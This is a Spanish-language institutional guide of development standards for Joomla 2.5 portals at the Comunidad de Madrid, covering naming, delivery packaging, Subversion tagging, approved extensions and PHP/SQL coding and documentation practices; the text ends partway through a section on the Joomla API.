Joomla 2.5 Versión 1.2 Área de Soluciones y Aplicaciones Especiales y Arquitectura Software
Hoja de Control Título Joomla 2.5 Documento de Referencia Responsable Área de Soluciones, Aplicaciones Especiales y Arquitectura Software Versión 1.1 Fecha Versión 12/07/2013 Registro de Cambios Versión Causa del Cambio Responsable del Cambio Fecha del Cambio 1.0 Versión inicial del documento Área de Aplicaciones Especiales y Arquitectura de Aplicaciones 24/04/2012 - Apartado 2 Proyecto y Modulos: se amplia la descripción. - Apartado 5 kit de joomla: kit ahora se va a entregar solamente con el core de joomla. Las extensiones homologadas se descargarán de la url correspondiente. 1.1 - Apartado Preparación de la Área de Aplicaciones Especiales y entrega: Se incluye Arquitectura Software información acerca de las 13/12/2012 entregas de actualizaciones. - Apartado Entrega: Se incluye información acerca de uso de subversión. - Apartado 3 Extensiones homologadas: Se añaden las siguientes Tabs&Sliders, mod_destacados, Back Button Plugin, Xmap, JNews 1.2 Adaptada para nueva versión Área de Soluciones, Aplicaciones de joomla 2.5 Especiales y Arquitectura Software Página 2 de 37
Índice 1. INTRODUCCIÓN... 5 1.1 AUDIENCIA OBJETIVO... 6 1.2 CONOCIMIENTOS PREVIOS... 6 2 PROYECTO Y MODULOS... 6 2.1 MODULO DE ENTORNO TECNOLOGICO... 7 2.2 MODULO DE ENTORNO TECNOLOGICO URL... 7 3 ENTORNO DE EJECUCION Y VERSION DE... 9 4 KIT DE DESARROLLO... 9 5 PLANTILLA DEL SITIO WEB... 10 6 ESQUEMA DE BASE DE DATOS DE... 11 7 EXTENSIONES HOMOLOGADAS... 11 8 VERSIONADO... 13 9 GESTION DE USUARIOS... 13 10 PREPARACION DE LA ENTREGA... 14 10.1 ENTREGA COMPLETA... 14 EXPORTACIÓN DEL MODELO DE DATOS.... 14 10.2 ENTREGA DE UNA ACTUALIZACION DEL PROYECTO... 15 11 ENTREGA... 16 11.1 REALIZACIÓN DE UNA ENTREGA CON SUBVERSION... 17 12 DESARROLLO DE EXTENSIONES... 21 12.1 BASE DE DATOS... 22 12.1.1 PREFIJO DE LAS TABLAS DE LA BASE DE DATOS... 22 12.1.2 OPTIMIZACIÓN DE CONSULTAS PARA LA CACHÉ.... 22 12.1.3 USO DE LIMIT 1 CUANDO SE OBTENGA UNA ÚNICA FILA.... 23 12.1.4 EVITAR SELECT *... 24 12.1.5 DOCUMENTACIÓN DEL CÓDIGO FUENTE... 25 12.1.6 CLASES.... 25 12.1.7 MÉTODOS Y FUNCIONES.... 26 12.1.8 CABECERA DE LOS ARCHIVOS.... 27 12.1.9 COMENTARIOS EN EL CÓDIGO.... 27 12.2 CODIFICACION PHP... 27 12.2.1 UTILIZAR EL API DE!.... 27 12.2.2 ACCESO A LAS TABLAS... 28 12.2.3 DESARROLLO JAVASCRIPT CON MOOTOOLS... 28 12.2.4 ACCESO DIRECTO A LOS FICHEROS PHP.... 28 12.2.5 INCLUSIÓN DE ARCHIVOS REMOTOS.... 28 12.2.6 PROTECCIÓN CONTRA SQL INJECTION.... 29 12.2.7 NOTACIÓN... 31 12.2.8 CONSTANTES.... 31 12.2.9 VARIABLES.... 32 12.2.10 FUNCIONES.... 33 12.2.11 CLASES.... 34 12.3 CONFIGURACION... 34 Página 3 de 37
A1.1 NORMAS... 36 A1.1 BUENAS PRACTICAS... 37 Página 4 de 37
NORMA 1. INTRODUCCIÓN El presente documento tiene por objeto servir de guía de desarrollo de sistemas de información basados en el sistema de gestión de contenidos Joomla!, de manera que se asegure una manera común de trabajar con el producto, el cumplimiento de buenas prácticas y se facilite el trabajo de los equipos que hacen proyectos utilizando esta plataforma en ICM. Joomla! es de los sistemas de gestión de contenidos basados en software libre más populares del mercado, y es una herramienta muy útil para el desarrollo rápido de sites ligeros, debido a su flexibilidad. La existencia de una amplia comunidad de desarrollo Joomla!, hace que estén disponible un gran número de extensiones del sistema, las cuales aportan funcionalidad adicional que puede ser incorporada a cualquier site. La reutilización de estas extensiones permite reducir el tiempo y el coste de desarrollo de sistemas. El presente documento pretende cubrir todos los aspectos relacionados con el ciclo de vida de un sistema basado en Joomla! y en él se tratarán, entre otras, las siguientes cuestiones: Aspectos de seguridad y buenas prácticas a considerar en la configuración e implantación de un sistema Joomla! Normas y buenas prácticas a tener en cuenta durante el desarrollo de un sistema Joomla! Entregables mínimos a incorporar al desarrollo de portales Joomla! Pruebas mínimas a realizar a un sistema Joomla! antes de su despliegue en la infraestructura de ICM. Elementos a revisar para recepcionar un site basado en Joomla! En esta metodología se incluyen dos tipos de indicaciones para el correcto desarrollo de aplicaciones: Normas: Son requisitos de obligado cumplimiento, y se encuentran definidas dentro de una caja de color azul: NombreDeNorma Contenido de la norma. Buenas prácticas: Son recomendaciones para el desarrollo. No son de obligado cumplimiento aunque para un correcto funcionamiento se recomienda cumplirlas siempre que sea posible. Se encuentran definidas dentro de una caja de color amarillo Página 5 de 37
BUENA PRACTICA NombreDeBuenaPractica Contenido de la Buena Práctica. 1.1 AUDIENCIA OBJETIVO Este documento va dirigido a todas aquellas personas de ICM o de sus proveedores que vayan a hacer proyectos de Joomla y por tanto necesiten conocer las normas de desarrollo particulares de la implantación de ICM y otras informaciones o recomendaciones de interés. Se presupone conocimientos técnicos y formación del producto Joomla y el entorno donde se ejecuta este producto. 1.2 CONOCIMIENTOS PREVIOS Para un completo entendimiento del documento, el lector deberá tener conocimientos previos sobre las siguientes tecnologías: Joomla PHP HTML, CSS MySQL 2 PROYECTO Y MODULOS Las aplicaciones de la Comunidad de Madrid se definirán en el marco de un proyecto, denominando a las distintas aplicaciones que se desarrollen para un proyecto módulos. Por lo tanto podemos decir que un proyecto es un conjunto de módulos. Todos los proyectos de la Comunidad de Madrid tienen un nombre de 4 letras que identifican al proyecto y que van a ser fundamentales en la nomenclatura de muchos de los elementos del proyecto por lo tanto es fundamental disponer de este identificador antes de abordar ningún tipo de desarrollo. Cada proyecto se creará como una estructura de carpetas en la que la primera carpeta se corresponde con el nombre del proyecto y por cada módulo se creará una carpeta contenedora de dicho módulo Para los desarrollos de portales se identifican dos tipos de módulos técnicos: Módulo de entorno tecnológico : El contenido del portal Página 6 de 37
NORMA Módulo de entorno tecnológico URL: La url de acceso al portal Dentro del portfolio de aplicaciones de la Comunidad de Madrid (POAPS) para cada proyecto se creará un módulo funcional y dos módulos técnicos (los indicados anteriormente). Atención Para reservar el nombre de la url y que no haya conflictos a la hora de instalar, el nombre del módulo funcional tiene que ser igual a la URL de acceso al portal y ser dado de alta al iniciar el desarrollo. 2.1 MODULO DE ENTORNO TECNOLOGICO El módulo de entorno tecnológico es el portal a instalar y por lo tanto contiene todo lo necesario para instalar el proyecto en un entorno. En nombre de este módulo debe cumplir con la nomenclura siguiente: xxxx_joomla. NOM_ El proyecto Joomla se ha de entregar dentro de una carpeta con la siguiente nomenclatura, que se corresponde con el nombre del módulo de entorno tecnológico joomla. xxxx_joomla donde xxxx se corresponde con el nombre de 4 letras que identifica al proyecto. Opcionalmente en aquellos proyectos que haya más de un portal Joomla se podrá incluir un sufijo descriptivo del módulo técnico. Ejemplo: Si el proyecto POAPS es arsw el nombre del módulo de entorno tecnológico joomla y de la carpeta de la entrega es arsw_joomla. 2.2 MODULO DE ENTORNO TECNOLOGICO URL El módulo de entorno tecnológico URL es un tipo de módulo cuya misión es registrar y configurar la url de entrada al portal/site por lo tanto se corresponde con el nombre de la url. Página 7 de 37
NORMA NOM_URL La URL de acceso a un portal/site de joomla será libre, con la única restricción de que no exista ya algún módulo técnico o alguna redirección con el mismo nombre por eso es fundamental registrar el módulo funcional con el mismo nombre. Ejemplo: si el nombre de la url es arquitecturasw, la url de acceso será http://...madrid.org/arquitecturasw. La primera parte de la url depende del entorno donde se instale (desarrollo, valintranet, intranet, ). Este modulo no implica entregar ningún fuente, simplemente se trata de realizar una petición a través de la herramienta de solicitud de instalaciones (GPAP) para su configuración y registro. Si la url de acceso es un dominio propio en Internet deberá ser previamente autorizado por la unidad organizativa responsable de Administración Electrónica. Página 8 de 37
NORMA 3 ENTORNO DE EJECUCION Y VERSION DE Los portales desarrollados con Joomla se ejecutarán en un entorno Apache + PHP 5.3 por lo tanto el proveedor deberá replicar en sus instalaciones estos productos para garantizar el correcto funcionamiento cuando se despliegue en nuestro entorno. Para el entorno local del proveedor recomendamos la instalación de XAMPP for Windows 1.7.3 ya que que incluye entre otros los siguientes productos: Apache 2.2.14 MySQL 5.1.41 PHP 5.3.1 Esta versión de XAMMP se encuentra disponible en la siguiente url: http://sourceforge.net/projects/xampp/files/xampp%20windows/1.7.3/ Para los nuevos desarrollos se utilizará la versión de Joomla 2.5.8 o superior siempre y cuando sea compatible con el entorno de ejecución. EntornoEjecucion Los portales se desplegarán en un entorno Apache + PHP 5.3 por lo tanto el código entregado deberá estar probado con esta versión de PHP y funcionar correctamente en este entorno. Además este entorno está en un sistema operativo Linux por lo tanto también se ha de probar que el portal funciona correctamente en este entorno. 4 KIT DE DESARROLLO Para el desarrollo de portales Joomla se ha preparado un kit con la versión del core de joomla a utilizar y con las extensiones homologadas ya instaladas. Este kit está disponible en el portal de desarrollo de aplicaciones: http://www.madrid.org/arquitecturasw en el apartado Portales/Joomla 2.5 Este kit contiene lo siguiente: Core Joomla! 2.5 Paquete de traducción a español Plantilla y hojas de estilo del sitio web Extensiones homologadas Página 9 de 37
NORMA NORMA KIT Todos los desarrollos de proyectos Joomla han de partir de la última versión del kit publicada. Este kit también sirve de demo de las funcionalidades que nos puede ofrecer un portal joomla. Este portal demo está publicado en la siguiente url: http://desarrollo.madrid.org/demo_joomla. En el manual _MUS_Creacion_portal se describe como crear un nuevo portal (proyecto joomla) a partir del kit. 5 PLANTILLA DEL SITIO WEB Para que todos los portales de la Comunidad de Madrid tengan un aspecto visual homogéneo se ha creado una plantilla con el look & feel de madrid.org. La plantilla se ha desarrollado utilizando el producto Artisteer 3.1 para que la plantilla generada soporte versiones de Exporer 6, 7, 8 y 9. Para más información sobre Artisteer acceder a la siguiente url: http://www.artisteer.com. Esta plantilla se ha incorporado y establecido por defecto como plantilla del portal en el kit de desarrollo. No es modificable y se ha de dejar tal cual. En el caso de que se quieran modificar los estilos de la misma se ha de hacer una copia de la plantilla con la siguiente nomenclatura: jp_cm_v1_0_0_xxxx. Donde 1_0_0 debe ser el número de versión de la que se ha partido y xxxx el código del proyecto donde se va a incluir en la plantilla. El proyecto Artisteer de la plantilla se encuentra publicado en el portal de arquitecturasw. Para modificar la plantilla se recomienda utilizar el producto Artisteer 3.1 que simplifica la creación de la plantilla y no requiere de conocimientos profundos de css y hojas de estilo. PLANTILLA_CM La plantilla definida para los portales Joomla de la Comunidad de Madrid no se puede modificar en el caso de que es requiera modificar estilos de presentación se debe hacer una copia de la misma con la siguiente nomenclatura de carpeta jp_cm_v1_0_0_xxxx. Donde 1_0_0 debe ser el número de versión de la que se ha partido y xxxx el código del proyecto donde se va a incluir en la plantilla. Los cambios en las hojas de estilo se pueden realizar directamente y en el caso de que se modifique el código PHP se ha de solicitar autorizacion a Arquitectura de Aplicaciones describiendo los cambios a realizar en el código para que quede documentado adecuadamente en la autorización Página 10 de 37
NORMA A continuación se muestra la vista de la plantilla aplicada en el portal de demo de joomla para las aplicaciones de la Comunidad de Madrid. 6 ESQUEMA DE BASE DE DATOS DE Para que varios proyectos puedan convivir en un mismo entorno de Joomla y que sean independientes se va a crear un esquema de base de datos distinto para cada proyecto. Si se va a modificar el prefijo estandar que viene en las tablas del producto Joomla se ha de utilizar como prefijo el código XXXX de cuatro letras identificativo del proyecto y en la creación del esquema se asignará el cotejamiento (collation) del esquema como utf8_general_ci. COTEJAMIENTOBD En la creación del esquema se asignará el cotejamiento (collation) del esquema como utf8_general_ci. 7 EXTENSIONES HOMOLOGADAS Para cubrir determinadas necesidades y ampliar las funcionalidades de Joomla se han seleccionado una serie de extensiones. Para la identificación de las extensiones recomendadas, estas han sido verificadas, comprobado su funcionalidad y concluyendo que son adecuadas para ser usadas en los portales de la Comunidad de Madrid. Página 11 de 37
NORMA Asimismo se ha llevado una revisión que ha incluido los siguientes criterios: La extensión no aparece en la lista oficial de extensiones con vulnerabilidades de Joomla!: http://docs.joomla.org/vulnerable_extensions_list. La extensión no aparece en la lista de extensiones en investigación y que potencialmente podrían ser incluidas en la lista de extensiones con vulnerabilidades: http://docs.joomla.org/investigation_of_exploits. La extensión dispone de soporte por parte del desarrollador. La última actualización de la extensión comprende un periodo no superior a un año. La última actualización se puede ejecutar en modo nativo sobre la versión 2.5 de Joomla!. La extensión es recomendada en foros oficiales de Joomla! y no se citan vulnerabilidades ni fallos en su uso en dichos foros. Existe traducción a varios idiomas de la extensión o de su documentación de ayuda. La extensión es un proyecto con licencia GNU/GPL. La extensión está publicada por la comunidad de desarrollo Joomla! en su página oficial. En caso de necesitar una nueva funcionalidad no soportada por las extensiones homologadas, se buscará una extensión que satisfaga los requisitos enunciados en el capítulo anterior y se solicitará a ICM la autorización de uso. Las extensiones homologadas se encuentran publicadas en la web de arquitecturasw pero no es necesario descargarlas e instalarlas ya que se encuentran dentro de la versión del kit. Solamente en el caso de que se hayan homologado en una fecha posterior al inicio del proyecto y se desee utilizar la nueva extensión homologada en el portal en desarrollo será necesaria su instalación. EXTENSIONES Solamente se han de utilizar las extensiones homologadas. En el caso de necesitar una nueva extensión ya existente o necesitar desarrollar una nueva será necesaria la autorización previa por parte de la Unidad de Arquitectura de Aplicaciones. Es muy importante que la solicitud de autorización se realice previa a la utilización definitiva en el portal para que en el caso de que no se autorizase esto no repercuyese en los plazos del proyecto. Página 12 de 37
NORMA 8 VERSIONADO Para gestionar las versiones del proyecto se incluirá una fichero llamado version.txt en la carpeta raiz del portal donde se incluirá la versión y fecha del kit que se ha utilizado y la version y fecha del portal. Dentro del kit ya viene un fichero version.txt con la versión correspondiente del kit. A continuación se muestra un ejemplo de fichero version.txt. ICM kit joomla 2.5 version 1.0.0 (08 Julio 2013) nombreportal version 1.0.0 (dd Mes Año) Version.txt Se debe actualizar nombreportal y en cada entrega a Paso a Producción que se haga se ha de incluir una nueva linea con la nueva versión y la fecha correspondiente. Además se han de documentar a continuación los cambios introducidos con respecto a la versión anterior. VERSIONADO Todos los proyectos deben versionarse para lo cual se incluirá una fichero llamado version.txt en la carpeta raiz del portal donde se incluirá la versión y fecha del kit que se ha utilizado y las distintas versiones que se han ido poniendo en producción con sus correspondientes fecha y cambios realizados entre versiones. Siempre que se realicen modificaciones sobre un módulo y se proceda a una entrega (en cualquier entorno) se ha de incluir una nueva linea para la nueva versión documentando los cambios que incorpora. El número de versión estará formado por tres digitos. Ejemplo 1.0.3 9 GESTION DE USUARIOS Si el portal tiene usuario registrados y/o redactores para facilitar la gestión de estos usuasios se puede integrar la gestión de usuarios con el directorio LDAP de la Comunidad de Madrid. En el documento 25_MUS_Gestion_Usuarios se explica como configurar y gestionar los usuarios en los portales Joomla. Para el trabajo en desarrollo en local no es necesario integrarse con LDAP a la hora de entregar el portal se indicará en la ficha de entrega que el portal se integra con LDAP y se configurará para dicha integración. Página 13 de 37
NORMA 10 PREPARACION DE LA ENTREGA 10.1 ENTREGA COMPLETA LIMPIEZA Se ha de borrar el directorio installation de la instalación de Joomla!, en ningún caso renombrar, así como los ficheros configuration.php-dist y htaccess.txt La estructura de una entrega completa es una carpeta con el nombre del módulo de entorno tecnológico (xxxx_joomla) en la que se incluyen los siguientes elementos necesarios para la instalación: Elemento Tipo Descripción Nombre Empaquetado Comprimido zip Fichero comprimido con El nombre del zip es el nombre del del site/portal el conjunto de directorios módulo funcional (que se corresponde del portal. con el nombre de la url) y la extensión zip. Ejemplo: arquitecturasw.zip (La url de acceso al portal será: http:/ madrid.org/arquictecturasw.) Exportado del Comprimido zip Script de creación de El nombre del zip sigue la siguiente modelo de esquema de base de nomenclatura xxxx_sql.zip datos datos en mysql. Ejemplo: arsw_sql.zip Documentación Carpeta Carpeta con los documentación del proyecto. documentacion: nombre de la carpeta. Exportación del modelo de datos. El modelo de datos proporcionado junto con el portal o parche debe exportarse siempre haciendo uso de la aplicación MySQL Administrator y siguiendo el procedimiento que se describe a continuación. Conectar con la base de datos que desee. Seleccionar la base de datos a exportar En el caso de una entrega total del modelo de datos seleccionar las siguientes opciones avanzadas: o o Lock All tables Backup Selected Database completely Página 14 de 37
o o o o Add DROP Statements Comment Complete INSERTs Disable keys En el caso de que el tamaño del fichero de copia de base de datos sea superior a 10MB una vez realizada la exportación, se comprimirá este en formato tar.gz en lugar de zip. A continuación se muestra un ejemplo de entrega para el proyecto demo. 10.2 ENTREGA DE UNA ACTUALIZACION DEL PROYECTO Para pequeñas actualizaciones del portal/site es posible entregar sólo las páginas o ficheros cambiados. Será necesario crear un zip con los ficheros modificados siempre con la estructura de carpetas de un portal Joomla para que sea posible descomprimirlo desde la carpeta raíz del portal. Dentro de la misma la carpeta con el nombre del módulo de entorno tecnológico (xxxx_joomla) en la que se incluyen los siguientes elementos necesarios para la actualización: Elemento Tipo Descripción Nombre Página 15 de 37
Empaquetado Comprimido zip Fichero comprimido con El nombre del zip es el nombre del de la el conjunto de directorios módulo funcional (que se corresponde actualización del portal que se han con el nombre de la url) y la extensión modificado. Este fichero zip. El nombre incluye un sufijo se va a descomprimir en act_v<n> donde n es un numero la carpeta raíz del portal secuencial de actualizaciones ya instalado por lo tanto comenzando por el 1. ha de tener la estructura de directorios adecuada. Ejemplo: arquitecturasw_act_v1.zip Cambios del Comprimido zip Script de actualización de El nombre del zip sigue la siguiente modelo de esquema de base de nomenclatura datos datos en mysql. xxxx_sql_act_.v<n>zip donde n es un numero secuencial de actualizaciones comenzando por el 1. Ejemplo: arsw_sql_act_v1.zip Documentación Carpeta Carpeta con con los documentos que haya sido necesario actualizar documentacion: nombre de la carpeta. 11 ENTREGA El proveedor desarrollará los distintos módulos en sus instalaciones y posteriormente realizará la entrega del software desarrollado al Responsable de Proyecto para que solicite a la Unidad de de Paso a Producción el despliegue de la misma en el entorno de desarrollo. La Unidad de Paso a Producción desempeña actualmente las tareas de despliegue en el entorno de desarrollo durante la fase de construcción y hasta la puesta en producción de la aplicación. La Unidad de Paso a Producción dispone de un servidor SFTP para que los proveedores externos puedan realizar las entregas. La entrega del proyecto de un proveedor externo al responsable de proyecto deberá efectuarse mediante alguno de los siguientes mecanismos: Entrega de un CD/DVD al jefe de proyecto Entrega en el directorio del proveedor en el SFTP destinado a tal efecto En cada entrega el proveedor deberá cumplimentar una ficha de instalación (disponible en la web) que deberá enviar al responsable de proyecto para que la revise antes de solicitar la instalación. Página 16 de 37
La Unidad de Paso a Producción emitirá un resumen de la realización de la instalación al responsable de proyecto. Tras la primera instalación del proyecto la Unidad de Paso a Producción creará el repositorio de Subversion para el control de versiones de este proyecto. Se dejará la entrega en la carpeta entregas y con la fecha de la instalación y la versión instalada. En el caso de que se esté realizando el proyecto internamente la entrega puede ser también directamente a través de Subversion. En el caso de que se necesite crear el repositorio de subversión para el proyecto se le solicitará dicha creación a la Unidad de Arquitectura de Aplicaciones a través de la herramienta de soporte. (http://www.madrid.org/soportesw. A continuación se muestra un ejemplo de la estructura de carpetas que se crean en subversión. A partir de este momento las solicitudes a la Unidad de Paso a Producción pueden hacerse bien con una nueva entrega en el servidor FTP o bien subiendo la entrega a subversión. Si la entrega se hacer por FTP paso a producción irá creando una nueva carpeta para cada entrega en la carpeta entregas. 11.1 REALIZACIÓN DE UNA ENTREGA CON SUBVERSION Los proyectos de Subversion en ICM tienen la siguiente estructura de carpetas: - entregas: carpeta donde se van a ir creando los distintos tags de cada entrega. - v<x>: carpeta trunk o principal del proyecto. Por ejemplo v0. En el momento en que se desee gestionar el control de versiones de este proyecto con Subversion se solicitará la creación de la carpeta v0 que será la carpeta principal de proyecto con la que se trabajará a partir de este momento. Para saber como trabajar con Subversion acceder al siguiente manual: http://www.madrid.org/arquitecturasw/images/documentacion/portal/actual/guia_uso_subversion.pdf Página 17 de 37
Para poder pasar una versión de nuestro proyecto a cualquiera de los entornos de ICM (validación, producción, etc.) con Subversion es necesario realizar una foto del código en un momento determinado, que será la que se instale en el entorno deseado. En la nomenclatura de Subversion, una foto congelada del código se denomina TAG. Por tanto, para pasar una versión a cualquier entorno de ICM se ha de crear un TAG, en la carpeta entregas del repositorio del proyecto. La nomenclatura del tag es: <fecha>_<nombre_modulo>_v<version>. Ejemplo: 20130802_demo_joomla_v1.0.1. Para crear el TAG, pulsaremos con el botón derecho sobre la carpeta raíz del proyecto sobre el que queremos crear el TAG, y seleccionamos Team -> Branch/Tag. En ese momento aparece un cuadro de diálogo en el que debemos introducir la URL del repositorio en la que queremos crear el TAG. La URL tendrá el formato que se indica en el siguiente cuadro: Página 18 de 37
URL del servidor de Subversion para crear un TAG URL: https://rutaservidorsvn/svn/proyectominusculas/entregas/fecha_[nombremodulo]_version Valores de las variables: RutaServidorSVN: Ruta del servidor de Subversion (por defecto es https://subversion01:8443 ) ProyectoMinusculas: Nombre del proyecto en minúsculas (Ej: bsta). [NOMBREMODULO] (OPCIONAL): Nombre del módulo instalado EN MAYÚSCULAS. Este parámetro es opcional, y puede incluirse si se desea realizar una entrega de un solo módulo en concreto, y quiere distinguirse de otro tipo de entregas totales. Si el nombre del módulo fuese muy largo, puede utilizarse una abreviatura. Fecha: Fecha en la que se crea el TAG, con formato AAAAMMDD Version: Versión de la que se trata. Ej: v1.0.3 Ejemplos: https://subversion01:8443/svn/bsta/entregas/20110602_v1.0.3 https://subversion01:8443/svn/bsta/entregas/20110602_bsta_webgsta_v1.0.3 En el cuadro de diálogo, introducimos la URL del TAG y nos aseguramos de que está activada la casilla Create any intermediate folders that are missing : Pulsamos sobre Next, y en la siguiente pantalla dejamos seleccionada la opción por defecto Head revision in the repository, y volvemos a pulsar sobre Next. Esto indica a Subversion que se cree el TAG con la última versión que hay en el repositorio. Página 19 de 37
Nota Como el TAG se crea con la última versión del código que hay subido al repositorio, es imprescindible recordar subir las modificaciones que tenemos en local al repositorio antes de crear el TAG. En la siguiente pantalla debemos introducir un comentario indicando el motivo de la creación del TAG, y pulsar sobre Finish : Página 20 de 37
Con esto hemos finalizado la creación del TAG. Podemos comprobar que el TAG está creado correctamente volviendo a la perspectiva SVN Repositories y navegando por el servidor hasta el TAG recién creado: 12 DESARROLLO DE EXTENSIONES Atención El desarrollo de extensiones ha de ser previamente autorizado por lo tanto antes de comenzar ningún desarrollo es necesario ponerse en contacto con la Unidad de Arquitectura de Aplicaciones. Página 21 de 37
NORMA Las recomendaciones que se enuncian a continuación aplicarán sólo a aquellas extensiones desarrolladas o modificadas por los proveedores. Antes de desarrollar ninguna extensión o se modifique el código de una existente es necesario que se solicite la autorización a ICM. 12.1 BASE DE DATOS 12.1.1 Prefijo de las tablas de la base de datos En el caso de que se necesite crear una tabla que haya de usarse en un desarrollo propio está se creará con el mismo prefijo de las tablas de portal. Utilizando las clases facilitadas por joomla y con create tabla # <nombretabla> se creará con el prefijo definido en la configuración del portal. A continuación se muestra un ejemplo: Ejemplo de creación de tabla $db =& JFactory::getDBO(); $db->setquery('create TABLE IF NOT EXISTS `# art_adminer_setting` (`id` int(11) unsigned NOT NULL auto_increment,`cssfile` varchar(255) NOT NULL,`autologin` tinyint(1),primary KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8;'); $db->query(); PREFIJOTABLAS Si se ha de crear una tabla para una necesidad determinada, se deberá utilizar como prefijo de dicha tabla, el mismo que se ha definido para todas las tablas del portal, para ello se utilizará #. 12.1.2 Optimización de consultas para la caché. Es posible habilitar una caché de consultas en MySQL, de forma que se mejore el rendimiento del motor de base de datos. De esa forma, cuando la misma consulta se ejecuta en múltiples ocasiones, el resultado se obtiene de la caché. Sin embargo, muchas veces no se tiene en cuenta la existencia de la caché a la hora de escribir las consultas SQL, lo que hace inútil la existencia de la caché. Esto es debido al uso de funciones no deterministas (tipo NOW(), RAND()...) que provocan que el resultado de la sentencia cambie. Esto provoca que MySQL decida no incluir en la caché estas sentencias. Para solventar esta cuestión, basta con añadir Página 22 de 37
BUENA PRACTICA una línea de código PHP que evite que esto ocurra. A continuación se muestran algunos ejemplos que ilustran como escribir sentencias SQL: Sentencia NO cacheada Ejemplos $r = mysql_query("select usuario FROM usuarios WHERE fecha_alta >= CURDATE()"); Sentencia cacheada $hoy = date("d-m-y"); $r = mysql_query("select usuario FROM usuarios WHERE signup_date >= '$hoy'"); OPTIMIZACIÓN SQL Las sentencias SQL han de estar optimizadas para que puedan ser cacheadas. 12.1.3 Uso de LIMIT 1 cuando se obtenga una única fila. En algunas consultas ya se sabe que se va a obtener como resultado una única consulta (por ejemplo, se busca una única fila o conocer el número de filas que cumplen una condición). En estos casos es recomendable añadir la opción LIMIT 1 a las consultas ya que se incrementa el rendimiento, pues el motor de la base de datos dejará de buscar resultados una vez encuentre el primero, en vez de recorrer toda la tabla o el índice. A continuación se muestra un ejemplo de uso: SQL de 1 registro $r = mysql_query("select 1 FROM usuarios WHERE ciudad = 'Madrid' LIMIT 1"); Página 23 de 37
BUENA PRACTICA BUENA PRACTICA SQL DE 1 REGISTRO Uso de LIMIT 1 cuando se obtenga una única fila. 12.1.4 Evitar SELECT *. Cuantos más datos se leen de una tabla, más lenta es la ejecución de la consulta. Si el servidor de base de datos está alojado en un entorno separado al del servidor web, se sumará el retardo de transmitir por la red los datos entre los servidores. Es un buen hábito especificar siempre las columnas que se necesiten cuando se realice una consulta, de forma que se obtengan siempre únicamente los datos que se necesitan y no más. A continuación se muestra un ejemplo: Consulta NO recomendada Evitar consultas select * $r = mysql_query("select * FROM usuarios WHERE id_usuario = 1"); Consulta recomendada $r = mysql_query("select usuario FROM usuarios WHERE id_usuario = 1"); EVITAR CONSULTAS SELECT * Especificar las columnas necesarias en las consultas select de base de datos, evitando el uso del carácter comodín *. Página 24 de 37
BUENA PRACTICA BUENA PRACTICA 12.1.5 Documentación del código fuente Un aspecto fundamental para el mantenimiento de un sistema es contar con un código fuente correctamente documentado. Para los desarrollos en PHP existe una herramienta que facilita la documentación del código y su posterior gestión y consulta. Esa herramienta es phpdocumentor. DOCUMENTAR EL CÓDIGO FUENTE Documentar correctamente el código fuente para facilitar su mantenimiento posterior. Se recomienda usar la herramienta phpdocumentor. 12.1.6 Clases. A la hora de documentar las clases se debe colocar un comentario antes de la declaración de la misma. Este comentario debe explicar su utilidad, además de incluir información relacionada con el autor de la clase, documentación adicional de consulta Las opciones que ofrece phpdocumentor a la hora de comentar una clase se muestran en la siguiente tabla: Marca @access @author @copyright @ignore @internal inline {@internal}} @link inline {@link} @see @version Significado Si @access es 'private' no se genera documentación para el elemento (a menos que se indique explícitamente). Esta opción es interesante si sólo se desea generar documentación sobre la interfaz (métodos públicos) pero no sobre la implementación (métodos privados). Autor del código Información sobre derechos relativos al código Evita que phpdocumentor documente un determinado elemento. Para incluir información que no debería aparecer en la documentación pública, pero sí puede estar disponible como documentación interna para desarrolladores. Para incluir un enlace (http://...) a un determinado recurso. Se utiliza para crear enlaces internos (enlaces a la documentación de un elemento). Versión actual del elemento DOCUMENTACIÓN DE LAS CLASES Los elementos mínimos a incluir en la documentación de una clase son los que se muestran a continuación: /** * NOMBRE DE LA CLASE * Descripción de la clase y de la funcionalidad que proporciona * @author AUTOR Página 25 de 37
BUENA PRACTICA * @package PAQUETE * @access ACCESS * @version VERSION */ 12.1.7 Métodos y funciones. Todas las funciones que se desarrollen deben tener un comentario, antes de su declaración, explicando que hacen. De forma que ningún programador deba tener que analizar el código de una función para conocer su utilidad. Además se debe incluir información útil sobre la función como su descripción, tipo de dato que devuelve y parámetros que recibe. Las opciones que ofrece phpdocumentor a la hora de comentar un método o función se muestran en la siguiente tabla: Marca @global @param Significado Permite especificar el uso de variables globales dentro de la función. Parámetros que recibe la función. Su formato es el siguiente: @param tipo $nombre_var comentario @return Valor devuelto por la función. Su formato es el siguiente: @return tipo comentario @access Tipo de acceso Los tipos de datos en PHP utilizados para indicar en las marcas @param y @return son los siguientes: array string boolean integer float object mixed DOCUMENTACIÓN DE MÉTODOS Y FUNCIONES Los elementos mínimos a incluir en la documentación de un método o función son los que se muestran a continuación: /** * NOMBRE DE LA FUNCIÓN O MÉTODO * Descripción de la función o método * * @access private * @return tipodatos Descripción * @param tipodatos $nombreparam Descripción */ Página 26 de 37
BUEN A PRAC BUENA PRACTICA BUENA PRACTICA 12.1.8 Cabecera de los archivos. Siempre es importante que todos los archivos se inicien con una cabecera específica que indique información relativa a la versión, al autor de los últimos cambios... Se ha de utilizar el formato que se describe en el manual de phpdocumentor, para facilitar la generación de la posterior documentación. CABECERA DE ARCHIVOS Los archivos han de iniciarse con una cabecera específica que ha de incluir, como mínimo, la siguiente información: /** * * @empresa: * @version: * @author: * @license: * */ 12.1.9 Comentarios en el código. Todas las modificaciones sobre elementos del código se deben comentar dentro del propio código, de esta forma se podrá localizar donde se realizó una modificación, quién la hizo y el sentido de la misma. COMENTARIOS EN EL CÓDIGO Comentar las modificaciones realizadas en el código incluyendo la siguiente información: /** * Descripción del cambio realizado * * @empresa: * @autor: * @fecha: * */ 12.2 CODIFICACION PHP 12.2.1 Utilizar el API de Joomla!. No es objetivo de este documento presentar el API de Joomla!, el cual se debe utilizar para todos los desarrollos sobre este CMS. Todas las acciones que se puedan realizar a través del API no se deben realizar mediante otras funciones de PHP. DEL API DE Se TICAUSO puede acceder a la documentación del API de Joomla! en la siguiente dirección web: Página 27 de 37
